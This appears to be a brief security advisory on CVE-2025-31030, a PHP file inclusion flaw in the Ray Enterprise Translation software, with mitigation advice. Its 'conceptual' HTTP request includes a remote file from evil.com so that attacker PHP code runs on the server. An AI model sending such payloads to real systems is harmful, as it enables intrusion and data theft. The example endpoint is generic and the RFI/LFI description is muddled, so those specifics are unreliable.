Overview
The CVE-2025-31030 vulnerability is a critical flaw in the jbhovik Ray Enterprise Translation, a widely-used PHP-based platform. This issue stems from an improper control of filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’), potentially leading to a PHP Local File Inclusion. Due to the severity of this issue, it can result in system compromise or data leakage, posing a significant threat to any institution using affected versions of the software.

How the Exploit Works
The exploit takes advantage of the improper control of filename for Include/Require Statement in the PHP program. An attacker can manipulate the PHP Remote File Inclusion to force the server to execute arbitrary PHP code from a remote server. This can lead to a PHP Local File Inclusion, enabling the attacker to load and execute local files on the server. This can lead to a full system compromise and potential data leakage.
Conceptual Example Code
Here is a conceptual example of an HTTP request exploiting this vulnerability:
POST /ray-enterprise-translation/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_file": "http://evil.com/malicious.php" }In this example, the malicious PHP file from a remote server (“evil.com”) is included and executed on the target server, exploiting the ‘PHP Remote File Inclusion’ vulnerability.
Mitigation
Users affected by this vulnerability are advised to apply the vendor’s patch as soon as possible. If the patch cannot be applied immediately, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. These tools can help detect and prevent attempts to exploit this vulnerability, thereby enhancing the security of the system.
